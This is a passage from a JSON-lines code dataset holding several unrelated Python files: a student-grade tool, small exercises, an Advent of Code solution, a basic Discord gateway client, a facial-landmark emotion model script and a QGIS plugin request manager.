open(\"C:/Users/Administrator/PycharmProjects/new/第一月检测/学生成绩.txt\", 'r')\r\n read_grade.close()\r\n except:\r\n write_grade = open(\"C:/Users/Administrator/PycharmProjects/new/第一月检测/学生成绩.txt\", 'w')\r\n write_grade.write('姓名\\t语文\\t数学\\t英语\\t总分\\t名次\\n')\r\n write_grade.close()\r\n read_grade = open(\"C:/Users/Administrator/PycharmProjects/new/第一月检测/学生成绩.txt\", 'r')\r\n while True:\r\n new_read = read_grade.readline()\r\n if len(new_read) == 0:\r\n break\r\n if name == new_read[:len(name)]:\r\n print('该姓名已存在，请重新输入')\r\n name = input(\"请输入姓名：\")\r\n read_grade.close()\r\n read_grade = open(\"C:/Users/Administrator/PycharmProjects/new/第一月检测/学生成绩.txt\", 'r')\r\n while True:\r\n try:\r\n chinese = input(\"请输入语文成绩：\")\r\n maths = input(\"请数学成绩：\")\r\n english = input(\"请输入英语成绩：\")\r\n zong = int(chinese) + int(maths) + int(english)\r\n break\r\n except:\r\n print('请确保成绩是数字')\r\n dict = {'name': name, 'Chinese': chinese, 'Maths': maths, 'English': english, 'zong': str(zong)}\r\n list.append(dict)\r\n write_grade = open(\"C:/Users/Administrator/PycharmProjects/new/第一月检测/学生成绩.txt\", 'a')\r\n write_grade.write(\r\n dict['name'] + '\\t\\t' + dict['Chinese'] + '\\t\\t' + dict['Maths'] + '\\t\\t' + dict['English'] + '\\t\\t' + dict[\r\n 'zong'] +'\\t\\t'+ '\\n')\r\n read_grade.close()\r\n write_grade.close()\r\n\r\n # print(list)\r\n print(\"成功添加%s的成绩,具体信息如下：\" % dict['name'])\r\n for i in ['姓名', '语文', '数学', '英语', '总分']:\r\n print(i, end='\\t')\r\n print()\r\n print(\"%s\\t\\t%s\\t\\t%s\\t\\t%s\\t\\t%s\" % (dict['name'], dict['Chinese'], dict['Maths'], dict['English'],dict['zong']))\r\n paixu()\r\n over = input(\"输入任意键回到主菜单：\")\r\n\r\n\r\ndef show_all():\r\n print(\"-\" * 50)\r\n print(\"功能：显示全部\")\r\n try:\r\n read_grade = open(\"C:/Users/Administrator/PycharmProjects/new/第一月检测/学生成绩.txt\", 'r')\r\n text = read_grade.read()\r\n print(text)\r\n read_grade.close()\r\n except:\r\n print('现在没有任何记录，请先录入成绩再来查询')\r\n over = input(\"输入任意键回到主菜单：\")\r\n\r\n\r\ndef search_grade():\r\n print(\"-\" * 50)\r\n print(\"功能：查询成绩\")\r\n try:\r\n\r\n read_grade = open(\"C:/Users/Administrator/PycharmProjects/new/第一月检测/学生成绩.txt\", 'r')\r\n read_grade2 = open(\"C:/Users/Administrator/PycharmProjects/new/第一月检测/学生成绩.txt\", 'r')\r\n text2 = read_grade2.read()\r\n\r\n write_grade2 = open(\"C:/Users/Administrator/PycharmProjects/new/第一月检测副本/学生成绩副本.txt\", 'w')\r\n write_grade1 = open(\"C:/Users/Administrator/PycharmProjects/new/第一月检测副本/学生成绩修改.txt\", 'w')\r\n write_grade1 = open(\"C:/Users/Administrator/PycharmProjects/new/第一月检测副本/学生成绩修改.txt\", 'a')\r\n write_grade2.write(text2)\r\n read_grade2.close()\r\n write_grade2.close()\r\n file_name = input(\"请输入你要查询的姓名：\")\r\n count = 0\r\n while True:\r\n text = read_grade.readline()\r\n if len(text) == 0:\r\n break\r\n if file_name == text[:len(file_name)]:\r\n count = 1\r\n for i in ['姓名', '语文', '数学', '英语', '总分','名次']:\r\n print(i, end='\\t')\r\n print()\r\n print(text)\r\n\r\n def deal(action):\r\n if action == '1':\r\n print(\"开始修改，如果此项不修改直接回车则默认为原来数据.\")\r\n\r\n def input_grade_info(dict_value, tip_message):\r\n result_str = input(tip_message)\r\n if len(result_str) > 0:\r\n return result_str\r\n else:\r\n return dict_value\r\n\r\n dname = file_name\r\n student_name = input_grade_info(file_name, \"请输入姓名：\")\r\n w_grade2 = open(\"C:/Users/Administrator/PycharmProjects/new/第一月检测副本/学生成绩副本.txt\", 'a')\r\n w_grade2.write(student_name)\r\n w_grade2.close()\r\n count = 0\r\n read_grade2 = open(\"C:/Users/Administrator/PycharmProjects/new/第一月检测副本/学生成绩副本.txt\", 'r')\r\n while True:\r\n text2 = read_grade2.readline()\r\n\r\n if len(text2) == 0:\r\n break\r\n if text2[:len(student_name)] == dname:\r\n text2 = read_grade2.readline()\r\n if student_name == text2[:len(student_name)]:\r\n count += 1\r\n if count == 2:\r\n count = 0\r\n print('姓名已存在，请重新修改')\r\n student_name = dname\r\n read_grade2.close()\r\n w_grade = open(\"C:/Users/Administrator/PycharmProjects/new/第一月检测副本/学生成绩副本.txt\", 'w')\r\n r = open(\"C:/Users/Administrator/PycharmProjects/new/第一月检测/学生成绩.txt\", 'r')\r\n chong = r.read()\r\n w_grade.write(chong)\r\n w_grade.close()\r\n read_grade2 = open(\"C:/Users/Administrator/PycharmProjects/new/第一月检测副本/学生成绩副本.txt\", 'r')\r\n student_name = input_grade_info(file_name, \"请输入姓名：\")\r\n w_grade2 = open(\"C:/Users/Administrator/PycharmProjects/new/第一月检测副本/学生成绩副本.txt\", 'a')\r\n w_grade2.write(student_name)\r\n w_grade2.close()\r\n read_grade2.close()\r\n while True:\r\n try:\r\n student_chinese = input(\"请输入语文成绩：\")\r\n student_maths = input(\"请输入数学成绩：\")\r\n student_english = input(\"请输入英语成绩：\")\r\n student_zong = int(student_chinese) + int(student_maths) + int(student_english)\r\n break\r\n except:\r\n print('请确保成绩是数字')\r\n write_grade1.write(\r\n student_name + '\\t\\t' + student_chinese + '\\t\\t' + student_maths + '\\t\\t' + student_english + '\\t\\t' + str(student_zong) +'\\t\\t'+ '\\n')\r\n print(\"成绩修改成功,新纪录如下所示：\")\r\n for i in ['姓名', '语文', '数学', '英语', '总分']:\r\n print(i, end='\\t')\r\n print()\r\n print(\r\n student_name + '\\t\\t' + student_chinese + '\\t\\t' + student_maths + '\\t\\t' + student_english + '\\t\\t' + str(student_zong))\r\n over = input(\"输入任意键回到主菜单：\")\r\n elif action == '2':\r\n print(\"删除成功\")\r\n over = input(\"输入任意键回到主菜单：\")\r\n return\r\n elif action == '0':\r\n write_grade1.write(text)\r\n return\r\n else:\r\n print(\"输入错误请重新输入\")\r\n\r\n action = input(\"请输入请选择要执行的操作[1] 修改 [2] 删除 [0] 返回主菜单\")\r\n deal(action)\r\n else:\r\n write_grade1.write(text)\r\n read_grade.close()\r\n write_grade1.close()\r\n read = open(\"C:/Users/Administrator/PycharmProjects/new/第一月检测副本/学生成绩修改.txt\", 'r')\r\n write = open(\"C:/Users/Administrator/PycharmProjects/new/第一月检测/学生成绩.txt\", 'w')\r\n # write.write('姓名 语文 数学 英语\\n')\r\n test = read.read()\r\n write.write(test)\r\n read.close()\r\n write.close()\r\n paixu()\r\n if count == 0:\r\n print(\"%s没有录入成绩\" % file_name)\r\n over = input(\"输入任意键回到主菜单：\")\r\n return\r\n\r\n print(\"%s没有录入成绩\" % file_name)\r\n over = input(\"输入任意键回到主菜单：\")\r\n except:\r\n print('现在没有任何记录，请先录入成绩再来查询')\r\n over = input(\"输入任意键回到主菜单：\")\r\n return\r\n","sub_path":"第一月项目/grade_tools.py","file_name":"grade_tools.py","file_ext":"py","file_size_in_byte":12589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"65380634","text":"'''\n We know the content of the evaporator (content in ml), the percentage of foam\n or gas lost every day (evap_per_day) and the threshold (threshold)\n in percentage beyond which the evaporator is no longer useful.\n All numbers are strictly positive.\n\n The program reports the nth day (as an integer) on which the evaporator\n will be out of use.\n\n Simplly says: calculate the life cycle when the content still useful.\n Threshold is the percentage of content that is not useful\n'''\ndef evaporator(content,evap_per_day, threshold):\n count=0\n test = content\n while test>= (content * threshold)/100.0:\n test = test- (test * 0.01 * evap_per_day)\n count+=1\n\n return count\n\nprint(evaporator(10,10,10))","sub_path":"python/evaporator.py","file_name":"evaporator.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"171765455","text":"#!/Users/geert/opt/anaconda3/bin/python3\n\ndef count_unique_answers_for_group(g):\n return len(set(g.replace(\"\\n\",\"\")))\n\ndef count_all_answers_for_group(g):\n # for group g, find which answer was given by all\n answers = list(map(set,g.split(\"\\n\")))\n all_given = answers[0].intersection(*answers)\n return len(all_given)\n\nif __name__ == \"__main__\":\n testinput = \"\"\"abc\n\na\nb\nc\n\nab\nac\n\na\na\na\na\n\nb\"\"\"\n import re\n testgroups = re.split(\"\\n\\n\", testinput)\n assert 11 == sum(map(count_unique_answers_for_group,testgroups)), \"test case 1 failed\"\n \n from aoc_utils import load_list\n groups = load_list(\"input/d06_pt1.txt\",\"\\n\\n\")\n # print(groups)\n \n ans1 = sum(map(count_unique_answers_for_group, groups))\n print(f\"Answer part 1: {ans1}\")\n \n ## Part 2\n assert 6 == sum(map(count_all_answers_for_group, testgroups)), \"test case 2 failed\"\n \n ans2 = sum(map(count_all_answers_for_group, groups))\n print(f\"Answer part 2: {ans2}\")","sub_path":"day06.py","file_name":"day06.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"2182211","text":"import websockets, asyncio, json, threading\n\nfrom colorama import Fore, init\ninit(convert=True)\n\ntoken = ''\n\nclass Client:\n def __init__(self, token: str):\n self.token = token\n self.heartbeat = None\n self.socket = None\n self.sessionID = None\n self.seq = None\n \n async def resume(self):\n if self.socket == None:\n return\n\n if self.socket.close_code == 1001:\n await self.send(json.dumps({\n \"token\": token,\n \"session_id\": self.sessionID,\n \"seq\": self.seq\n }))\n\n async def connect(self):\n self.socket = await websockets.connect(\"wss://gateway.discord.gg/?encoding=json&v=6\")\n self.heartbeat = json.loads((await self.socket.recv()))['d']['heartbeat_interval']\n\n async def identify(self):\n if self.socket == None:\n await self.connect()\n\n await self.socket.send(json.dumps({\n \"op\":2,\n \"d\": { \n \"token\": token,\n \"properties\":{\n \"os\":\"MomOS\",\n \"browser\":\"Pixels\",\n \"device\":\"\",\n \"browser_user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36\",\n \"os_version\":\"xp\"\n }\n }}))\n\n self.sessionID = json.loads(await self.socket.recv())['d']['session_id']\n\n async def send(self, _data: json.dumps):\n if self.socket == None:\n await self.identify()\n \n await self.socket.send(_data)\n\n print(Fore.GREEN + await self.socket.recv() + \"\\n\")\n\n async def messages(self):\n if self.socket == None:\n await self.identify()\n\n while True:\n _data = (await self.socket.recv())\n self.seq = json.loads(_data)['s']\n print( Fore.CYAN + _data + \"\\n\")\n\nasyncio.run(Client(token).messages())\n","sub_path":"SocketClient/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"156474729","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\n# os.environ[\"CUDA_VISIBLE_DEVICES\"]=\"2\"\n\nimport numpy as np\nimport keras\n## VGGFACE MODEL\nfrom keras.engine import Model\nfrom keras.layers import Concatenate, Add, Dropout, Flatten, Dense, Input, GlobalAveragePooling2D, GaussianDropout\nfrom keras.preprocessing import image\nfrom keras_vggface.vggface import VGGFace\nfrom keras_vggface import utils\nfrom keras.callbacks import ModelCheckpoint\n\nfrom keras.models import load_model\nfrom keras.regularizers import l2\n\n\nfrom keras.datasets import cifar10\nimport matplotlib.pyplot as plt\nimport cv2\n\nimport sys\nsys.path.insert(0, '../data/')\nfrom data import read_preprocessed_face_data\n\nfrom myutils import my_ccc_loss, siamese_kpts_generator, myeval, prewhiten, get_aligned_indexes, preds2csv\nimport pandas as pd\nimport collections\nimport itertools\n\nnp.random.seed(1337)\n__VIDEO_SEQ_LEN__ = 9\n__N_CLASSES__ = 7\n__EMOTIONS__ = True\n\n__RES_FN__ = '/data/pmmf/OMG/KPTS/grid_wo_norm_mlayers_test/'\n__MODELS_FN__ = '/data/pmmf/OMG/KPTS/grid_wo_norm_mlayers/'\n\nif not os.path.exists(__RES_FN__):\n os.makedirs(__RES_FN__)\n\nfrom keras import backend as K\nprint('image_data_format: ', K.image_data_format())\n\n\ndef myfit(model, x_train, y_train, x_val, y_val, lr=1e-04, loss_weights={'out_arousal': 1., 'out_valence': 1}, epochs=4, batch_size=64, weightspath=\"./tmp/weights_top.hdf5\"):\n \n if __EMOTIONS__:\n # compile model \n model.compile(optimizer=keras.optimizers.Adam(lr=lr), \n loss={'out_arousal': my_ccc_loss, 'out_valence': my_ccc_loss, 'out_categorical': keras.losses.categorical_crossentropy},\n loss_weights=loss_weights)\n else:\n # compile model \n model.compile(optimizer=keras.optimizers.Adam(lr=lr), \n loss={'out_arousal': my_ccc_loss, 'out_valence': my_ccc_loss},\n loss_weights=loss_weights)\n\n # checkpoint\n checkpoint = ModelCheckpoint(weightspath, monitor='val_loss', verbose=1, save_best_only=True, mode='min')\n callbacks_list = [checkpoint]\n\n # generators\n gen_train = siamese_kpts_generator(x_train, y_train, batch_size, augmentation=True, emotions=__EMOTIONS__)\n gen_val = siamese_kpts_generator(x_val, y_val, batch_size, augmentation=False, emotions=__EMOTIONS__)\n\n x_train_len = x_train['frame_0'].shape[0]\n x_val_len = x_val['frame_0'].shape[0]\n\n \n # fit\n model.summary()\n model.fit_generator(gen_train,\n epochs=epochs,\n validation_data=gen_val,\n verbose=1,\n steps_per_epoch=(x_train_len/batch_size),\n validation_steps=(x_val_len/batch_size),\n callbacks=callbacks_list)\n\n\n model.load_weights(weightspath)\n\n return model\n\ndef siamese_encoder(input_shape, n_dense=2, hidden_dim=256, l2_reg=1e-04):\n base = base_encoder(input_shape, hidden_dim, l2_reg)\n inputs = [Input(shape=input_shape, name='frame_'+str(i)) for i in range(__VIDEO_SEQ_LEN__)]\n\n shared_streams = [base(i) for i in inputs]\n x = Concatenate()(shared_streams)\n for i in range(n_dense):\n name='fc' + str(i + 3)\n x = Dense(hidden_dim//4, activation='relu', kernel_regularizer=l2(l2_reg), name=name)(x)\n x = Dropout(0.4)(x)\n out_arousal = Dense(1, activation='sigmoid', name='out_arousal')(x)\n out_valence = Dense(1, activation='tanh', name='out_valence')(x)\n if __EMOTIONS__:\n out_categorical = Dense(__N_CLASSES__, activation='softmax', name='out_categorical')(x)\n siamese_encoder = Model(inputs, [out_arousal, out_valence, out_categorical])\n else:\n siamese_encoder = Model(inputs, [out_arousal, out_valence])\n siamese_encoder.summary()\n return siamese_encoder\n\ndef base_encoder(input_shape, hidden_dim, l2_reg):\n input = Input(shape=input_shape)\n x = Dense(hidden_dim, activation='relu', input_shape=input_shape, kernel_regularizer=l2(l2_reg))(input)\n x = Dense(hidden_dim//2, activation='relu', kernel_regularizer=l2(l2_reg))(x)\n return Model(input, x)\n\ndef mydiff(d):\n diff = {}\n for ii in range(1, __VIDEO_SEQ_LEN__):\n if ii == 1:\n diff['frame_0'] = d['frame_'+str(ii)] - d['frame_'+str(ii-1)]\n diff['frame_'+str(ii)] = d['frame_'+str(ii)] - d['frame_'+str(ii-1)]\n return diff\n\n## READ DATA\ntrain_fn = '../pre-process/Train_face_data.pckl'\nval_fn = '../pre-process/Validation_face_data.pckl'\ntest_fn = '../pre-process/Test_face_data.pckl'\n\nx_train, kpts_train, arousal_train, valence_train, emotion_train, groups_train, folder_train, \\\nx_val, kpts_val, arousal_val, valence_val, emotion_val, groups_val, folder_val, \\\nx_test, kpts_test, groups_test, folder_test = read_preprocessed_face_data(train_fn, val_fn, test_fn=test_fn)\n\nx_train_len = x_train.shape[0] / __VIDEO_SEQ_LEN__\nx_val_len = x_val.shape[0] / __VIDEO_SEQ_LEN__\nx_test_len = x_test.shape[0] / __VIDEO_SEQ_LEN__\n\ntrain_gt_fn = '/data/DB/OMG/omg_TrainVideos.csv'\nval_gt_fn = '/data/DB/OMG/omg_ValidationVideos.csv'\ntest_gt_fn = '/data/DB/OMG/omg_TestVideos_WithoutLabels.csv'\naligned_val_indexes, gt_arousal, gt_valence = get_aligned_indexes(val_gt_fn, folder_val)\naligned_test_indexes = get_aligned_indexes(test_gt_fn, folder_test, test=True)\n\n## COMPUTE KPTS-FEATS\nfrom feat_kpts_geometry import feat_kpts_geometry\nfrom sklearn.preprocessing import StandardScaler\n\nfeat_kpts = feat_kpts_geometry()\n# train\ntrain_feats = feat_kpts.describe(kpts_train)\nscaler = StandardScaler()\nscaler.fit(train_feats)\ntrain_feats = scaler.transform(train_feats)\n\n# val\nval_feats = feat_kpts.describe(kpts_val)\nval_feats = scaler.transform(val_feats)\n\n# test\ntest_feats = feat_kpts.describe(kpts_test)\ntest_feats = scaler.transform(test_feats)\n\n## PRE-PROCESSING\nx_train = x_train.astype('float32') / 255\nx_val = x_val.astype('float32') / 255\nx_test = x_test.astype('float32') / 255\n\nkpts_train = kpts_train.astype('float32') / 96\nkpts_val = kpts_val.astype('float32') / 96\nkpts_test = kpts_test.astype('float32') / 96\n\nkpts_train_siamese = dict(('frame_'+str(i), kpts_train[i::__VIDEO_SEQ_LEN__,:,:2].reshape(-1, 68*2)) for i in range(__VIDEO_SEQ_LEN__))\nkpts_val_siamese = dict(('frame_'+str(i), kpts_val[i::__VIDEO_SEQ_LEN__,:,:2].reshape(-1, 68*2)) for i in range(__VIDEO_SEQ_LEN__))\nkpts_test_siamese = dict(('frame_'+str(i), kpts_test[i::__VIDEO_SEQ_LEN__,:,:2].reshape(-1, 68*2)) for i in range(__VIDEO_SEQ_LEN__))\n\ntrain_feats_siamese = dict(('frame_'+str(i), train_feats[i::__VIDEO_SEQ_LEN__,:]) for i in range(__VIDEO_SEQ_LEN__))\nval_feats_siamese = dict(('frame_'+str(i), val_feats[i::__VIDEO_SEQ_LEN__,:]) for i in range(__VIDEO_SEQ_LEN__))\ntest_feats_siamese = dict(('frame_'+str(i), test_feats[i::__VIDEO_SEQ_LEN__,:]) for i in range(__VIDEO_SEQ_LEN__))\n\n\ndiff_train = mydiff(kpts_train_siamese)\ndiff_val = mydiff(kpts_val_siamese)\ndiff_test = mydiff(kpts_test_siamese)\n\ndiff2_train = mydiff(mydiff(kpts_train_siamese))\ndiff2_val = mydiff(mydiff(kpts_val_siamese))\ndiff2_test = mydiff(mydiff(kpts_test_siamese))\n\ncombo_train = {}\ncombo_val = {}\ncombo_test = {}\nfor ii in range(__VIDEO_SEQ_LEN__):\n combo_train['frame_'+str(ii)] = np.concatenate((kpts_train_siamese['frame_'+str(ii)], diff_train['frame_'+str(ii)], diff2_train['frame_'+str(ii)], train_feats_siamese['frame_'+str(ii)]), axis=1)\n combo_val['frame_'+str(ii)] = np.concatenate((kpts_val_siamese['frame_'+str(ii)], diff_val['frame_'+str(ii)], diff2_val['frame_'+str(ii)], val_feats_siamese['frame_'+str(ii)]), axis=1)\n combo_test['frame_'+str(ii)] = np.concatenate((kpts_test_siamese['frame_'+str(ii)], diff_test['frame_'+str(ii)], diff2_test['frame_'+str(ii)], test_feats_siamese['frame_'+str(ii)]), axis=1)\n\nif __EMOTIONS__:\n emotion_train = keras.utils.to_categorical(emotion_train, __N_CLASSES__)\n emotion_val = keras.utils.to_categorical(emotion_val, __N_CLASSES__)\n\n y_train = {'out_arousal': arousal_train, 'out_valence': valence_train, 'out_categorical': emotion_train}\n y_val = {'out_arousal': arousal_val, 'out_valence': valence_val, 'out_categorical': emotion_val}\nelse:\n y_train = {'out_arousal': arousal_train, 'out_valence': valence_train}\n y_val = {'out_arousal': arousal_val, 'out_valence': valence_val}\n\n## Grid parameters\ngrid_param = collections.OrderedDict()\ngrid_param = {'loss_weights': [{'out_arousal': 1., 'out_valence': 1., 'out_categorical': .1}, \\\n {'out_arousal': 1., 'out_valence': .5, 'out_categorical': .1}, \\\n {'out_arousal': .5, 'out_valence': .1, 'out_categorical': .1}, \\\n {'out_arousal': 1., 'out_valence': .25, 'out_categorical': .05}, \\\n {'out_arousal': .25, 'out_valence': .1, 'out_categorical': .05}], \\\n 'l2_reg': np.float32(np.logspace(-3, -5, 3)),\\\n 'n_dense': [1, 2, 3], \\\n 'hidden_dim': [256, 512]}\n\ncombinations = list(itertools.product(*(grid_param[k] for k in sorted(grid_param))))\nprint(\">> GRID combos: \", len(combinations))\nf_grid_fn = __RES_FN__ + 'grid_kpts_wo_norm.log'\nfor idx, combo in enumerate(combinations):\n print('>> COMBO: ' + str(idx))\n dict_combo = {k: combo[i] for i, k in enumerate(sorted(grid_param))}\n print(\"combo \" + str(idx) + ': ', dict_combo)\n\n ## MLP MODEL\n top_modelpath= __MODELS_FN__ + str(idx) + '_model_top_ktps.h5'\n siamese_mlp = load_model(top_modelpath, custom_objects={'my_ccc_loss': my_ccc_loss})\n\n # predictions\n preds = siamese_mlp.predict(combo_test)\n preds_arousal = preds[0].ravel()[aligned_test_indexes]\n preds_valence = preds[1].ravel()[aligned_test_indexes]\n\n # save predtions to csv\n csv_fn = __RES_FN__ + str(idx) + '_preds_model_top_ktps.csv'\n preds2csv(csv_fn, test_gt_fn, preds_arousal, preds_valence)\n \n K.clear_session()\n","sub_path":"video_modality/landmarks_predict.py","file_name":"landmarks_predict.py","file_ext":"py","file_size_in_byte":10068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"309481181","text":"\"\"\"\n/***************************************************************************\nlo-editor\nA QGIS plugin to add and edit spatial information to land deals on the Land\nObservatory platform.\n -------------------\nbegin : 2012-07-02\ncopyright : (C) 2012 by Adrian Weber\nemail : adrian.weber@cde.unibe.ch\n ***************************************************************************/\n\n/***************************************************************************\n * *\n * This program is free software; you can redistribute it and/or modify *\n * it under the terms of the GNU General Public License as published by *\n * the Free Software Foundation; either version 2 of the License, or *\n * (at your option) any later version. *\n * *\n ***************************************************************************/\n\"\"\"\n\nfrom PyQt4.QtCore import QObject\nfrom PyQt4.QtCore import QRegExp\nfrom PyQt4.QtCore import QSettings\nfrom PyQt4.QtCore import QString\nfrom PyQt4.QtCore import SIGNAL\nfrom PyQt4.QtGui import QMessageBox\nfrom RequestManager import RequestManager\nfrom models import Activity\nfrom models import Stakeholder\nfrom models import Tag\nfrom models import TagGroup\nimport os\nfrom protocols import ActivityProtocol\nfrom protocols import StakeholderProtocol\nfrom qgis.core import QGis\nfrom qgis.core import QgsFeature\nfrom qgis.core import QgsField\nfrom qgis.core import QgsGeometry\nfrom qgis.core import QgsMapLayer\nfrom qgis.core import QgsMapLayerRegistry\nfrom qgis.core import QgsPoint\nfrom qgis.core import QgsVectorLayer\nimport simplejson as json\n\nclass StakeholderRequestManager(RequestManager):\n\n configFile = \"landmatrix.stakeholder.ini\"\n\n def __init__(self, host, user, pw):\n RequestManager.__init__(self, host, user, pw)\n\n self.stakeholderProtocol = StakeholderProtocol(host, user, pw)\n\n\n def getStakeholders(self):\n # Connect to the stylePosted signal emitted by the GeoServer object\n self.connect(self.stakeholderProtocol, SIGNAL(\"readSignal( bool, int, QString )\"), self.getStakeholdersFinished)\n\n url = self.stakeholderProtocol.read(queryable=\"Name,Country\", Name__ilike='Heng', Country__ilike='cambodia')\n self.log(url)\n\n def getStakeholdersFinished(self, success, statusCode, response):\n\n # It's necessary to disconnect this signal again\n self.disconnect(self.stakeholderProtocol, SIGNAL(\"readSignal( bool, int, QString )\"), self.getStakeholdersFinished)\n\n if success:\n # Parse the result\n stakeholders = self.parseStakeholdersResponse(response)\n\n # Get the first Uuid of the list\n if len(stakeholders) >= 1:\n self.log(stakeholders[0].id().toString())\n\n def parseStakeholdersResponse(self, jsonBody):\n\n stakeholders = []\n\n data = json.loads(str(jsonBody))\n for stakeholder in data['data']:\n\n s = Stakeholder(id=stakeholder['id'], version=stakeholder['version'])\n\n for taggroup in stakeholder['taggroups']:\n tg = TagGroup(id=taggroup['id'])\n mainTag = taggroup['main_tag']\n tg.setMainTag(Tag(id=mainTag['id'], key=mainTag['key'], value=mainTag['value']))\n\n for tag in taggroup['tags']:\n t = Tag(id=tag['id'], key=tag['key'], value=tag['value'])\n tg.addTag(t)\n\n s.addTagGroup(tg)\n\n stakeholders.append(s)\n\n return stakeholders\n\n def addStakeholders(self):\n self.connect(self.stakeholderProtocol, SIGNAL(\"created( bool, int, QString\"), self.addStakeholdersFinished)\n\n # Dummy stakeholder\n s = Stakeholder()\n tag = Tag(key=\"Name\", value=\"Adrian Weber Investment\")\n tagGroup = TagGroup()\n tagGroup.setMainTag(tag)\n tagGroup.addTag(tag)\n tagGroup.addTag(Tag(key=\"Country\", value=\"Swaziland\"))\n s.addTagGroup(tagGroup)\n\n msg, rawBody = self.stakeholderProtocol.add(s)\n self.log(msg)\n self.log(rawBody)\n\n def addStakeholdersFinished(self, success, statusCode, response):\n\n # Disconnect this signal\n self.disconnect(self.stakeholderProtocol, SIGNAL(\"created( bool, int, QString\"), self.addStakeholdersFinished)\n\n self.log(statusCode)\n\n def addStakeholdersFromLayer(self):\n \"\"\"\n Import all stakeholders from the active layer to the Land Observatory\n platform.\n It is not (yet) tested if a stakeholder already exists or not.\n \"\"\"\n\n # Connect to the protocol to get noticed as soon as the stakeholder has\n # been created\n self.connect(self.stakeholderProtocol, SIGNAL(\"created( bool, int, QString\"), self.addStakeholdersFinished)\n\n # Get the dict maps the attribute names from the landmatrix input Shapefile to the\n # fields defined in the global definition yaml\n identifierColumn, transformMap, groups = self.getTagGroupsConfiguration(\"landmatrix.stakeholder.ini\")\n\n # Get the active layer and its data provider\n layer = self.iface.activeLayer()\n provider = layer.dataProvider()\n\n # The current feature\n feature = QgsFeature()\n\n # List of attribute indexes to select\n attributeIndexes = []\n # Dict that maps the field index to the fields defined in the global YAML\n fieldIndexMap = {}\n for (i, field) in provider.fields().iteritems():\n if str(field.name()) in transformMap:\n attributeIndexes.append(i)\n fieldIndexMap[i] = transformMap[str(field.name())]\n\n # Start data retreival: fetch geometry and necessary attributes for each feature\n provider.select(attributeIndexes)\n\n stakeholders = []\n\n # retreive every feature with its geometry and attributes\n while provider.nextFeature(feature):\n\n tagGroups = list(TagGroup() for i in range(len(groups)))\n\n # fetch map of attributes\n attrs = feature.attributeMap()\n\n # attrs is a dictionary: key = field index, value = QgsFeatureAttribute\n # show all attributes and their values\n for (k, attr) in attrs.iteritems():\n self.log(\"%s: %s\" % (fieldIndexMap[k], attr.toString()))\n\n # First search the correct taggroup to append\n attributeName = provider.fields()[k].name()\n currentTagGroup = 0\n for g in groups:\n if attributeName in g:\n break\n else:\n currentTagGroup += 1\n\n if attr is not None and attr.toString() != '':\n tag = Tag(key=fieldIndexMap[k], value=attr.toString())\n tagGroups[currentTagGroup].addTag(tag)\n if tagGroups[currentTagGroup].mainTag() is None:\n tagGroups[currentTagGroup].setMainTag(tag)\n\n s = Stakeholder()\n for tg in tagGroups:\n if len(tg.tags) > 0:\n s.addTagGroup(tg)\n\n stakeholders.append(s)\n\n msg, rawBody = self.stakeholderProtocol.add(stakeholders)\n self.log(msg)\n self.log(rawBody)\n\n # Disconnect the signal\n self.disconnect(self.stakeholderProtocol, SIGNAL(\"created( bool, int, QString\"), self.addStakeholdersFinished)\n\n def addStakeholdersFromLayerFinished(self, success, statusCode, response):\n\n if success:\n pass\n","sub_path":"src/StakeholderRequestManager.py","file_name":"StakeholderRequestManager.py","file_ext":"py","file_size_in_byte":7740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"65968564","text":"class Stack:\r\n def __init__(self, max_size):\r\n self.__max_size = max_size\r\n self.__elements = [None] * self.__max_size\r\n self.__top = -1\r\n\r\n def is_full(self):\r\n if (self.__top == self.__max_size - 1):\r\n return True\r\n return False\r\n\r\n def is_empty(self):\r\n if (self.__top == -1):\r\n return True\r\n return False\r\n\r\n def push(self, data):\r\n if (self.is_full()):\r\n print(\"The stack is full!!\")\r\n else:\r\n self.__top += 1\r\n self.__elements[self.__top] = data\r\n\r\n def pop(self):\r\n if (self.is_empty()):\r\n print(\"The stack is empty!!\")\r\n else:\r\n data = self.__elements[self.__top]\r\n self.__top -= 1\r\n return data\r\n\r\n def display(self):\r\n if (self.is_empty()):\r\n print(\"The stack is empty\")\r\n else:\r\n index = self.__top\r\n while (index >= 0):\r\n print(self.__elements[index])\r\n index -= 1\r\n\r\n def get_max_size(self):\r\n return self.__max_size\r\n\r\n # You can use the below __str__() to print the elements of the DS object while debugging\r\n\r\n def __str__(self):\r\n msg = []\r\n index = self.__top\r\n while (index >= 0):\r\n msg.append((str)(self.__elements[index]))\r\n index -= 1\r\n msg = \" \".join(msg)\r\n msg = \"Stack data(Top to Bottom): \" + msg\r\n return msg\r\n\r\ndef fun(input_stack):\r\n num = input_stack.get_max_size() -1\r\n num1 = 1\r\n while (num > 0):\r\n top_element = input_stack.pop()\r\n temp_stack = Stack(input_stack.get_max_size())\r\n num2 = 1\r\n while (num2 <= num1):\r\n element = input_stack.pop()\r\n temp_stack.push(element + top_element)\r\n num2 += 1\r\n while (temp_stack.is_empty() is False):\r\n input_stack.push(temp_stack.pop())\r\n input_stack.push(top_element)\r\n num1 += 1\r\n num -= 1\r\n return input_stack\r\n\r\n\r\nsample = Stack(5)\r\nsample.push(8)\r\nsample.push(2)\r\nsample.push(6)\r\nsample.push(7)\r\nsample.push(10)\r\nresult_stack = fun(sample)\r\nresult_stack.display()\r\n\r\n\r\n","sub_path":"figure_out_how.py","file_name":"figure_out_how.py","file_ext":"py","file_size_in_byte":2213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"541130386","text":"class DataAnalysis(object):\n\n\tdef 